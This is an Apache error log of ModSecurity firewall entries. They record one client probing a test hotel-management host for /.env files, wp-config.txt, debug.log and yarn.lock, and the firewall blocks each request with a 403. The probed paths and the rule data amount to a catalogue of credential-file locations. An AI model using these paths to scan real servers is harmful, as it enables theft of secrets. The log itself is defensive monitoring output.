[Thu Feb 26 01:03:25.741802 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.txt&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJgAAAAU&quot;]
[Thu Feb 26 01:03:25.743701 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www-data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPgAAAAM&quot;]
[Thu Feb 26 01:03:25.743942 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPgAAAAM&quot;]
[Thu Feb 26 01:03:25.744100 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www-data/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElPgAAAAM&quot;]
[Thu Feb 26 01:03:25.798061 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJwAAAAU&quot;]
[Thu Feb 26 01:03:25.798329 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJwAAAAU&quot;]
[Thu Feb 26 01:03:25.798526 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QJwAAAAU&quot;]
[Thu Feb 26 01:03:25.834921 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xx-final/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQAAAAAM&quot;]
[Thu Feb 26 01:03:25.835185 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQAAAAAM&quot;]
[Thu Feb 26 01:03:25.835349 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xx-final/vue-heroes/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQAAAAAM&quot;]
[Thu Feb 26 01:03:25.836685 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKAAAAAU&quot;]
[Thu Feb 26 01:03:25.837158 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKAAAAAU&quot;]
[Thu Feb 26 01:03:25.837318 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKAAAAAU&quot;]
[Thu Feb 26 01:03:25.910535 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQQAAAAM&quot;]
[Thu Feb 26 01:03:25.910766 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQQAAAAM&quot;]
[Thu Feb 26 01:03:25.910913 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQQAAAAM&quot;]
[Thu Feb 26 01:03:25.935300 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /zmusic-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQgAAAAM&quot;]
[Thu Feb 26 01:03:25.935558 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQgAAAAM&quot;]
[Thu Feb 26 01:03:25.935717 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/zmusic-frontend/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQgAAAAM&quot;]
[Thu Feb 26 01:03:25.942985 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKgAAAAU&quot;]
[Thu Feb 26 01:03:25.943224 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKgAAAAU&quot;]
[Thu Feb 26 01:03:25.943394 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-login/.env&quot;] [unique_id &quot;aZ-NzSk1SHHL9bIjTI-QKgAAAAU&quot;]
[Thu Feb 26 01:03:25.986466 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:443/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQwAAAAM&quot;]
[Thu Feb 26 01:03:25.986700 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQwAAAAM&quot;]
[Thu Feb 26 01:03:25.986853 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:443/.env&quot;] [unique_id &quot;aZ-NzQ3HqGC30X9HPoElQwAAAAM&quot;]
[Thu Feb 26 01:03:26.010722 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLAAAAAU&quot;]
[Thu Feb 26 01:03:26.010948 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLAAAAAU&quot;]
[Thu Feb 26 01:03:26.011105 2026] [:error] [pid 2330812] [client 185.177.72.22:29218] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp/.env&quot;] [unique_id &quot;aZ-Nzik1SHHL9bIjTI-QLAAAAAU&quot;]
[Thu Feb 26 01:03:26.030054 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:80/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRAAAAAM&quot;]
[Thu Feb 26 01:03:26.030299 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRAAAAAM&quot;]
[Thu Feb 26 01:03:26.030469 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:80/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRAAAAAM&quot;]
[Thu Feb 26 01:03:26.053621 2026] [:error] [pid 2330791] [client 185.177.72.22:29214] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /:8080/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/:8080/.env&quot;] [unique_id &quot;aZ-Nzg3HqGC30X9HPoElRQAAAAM&quot;]
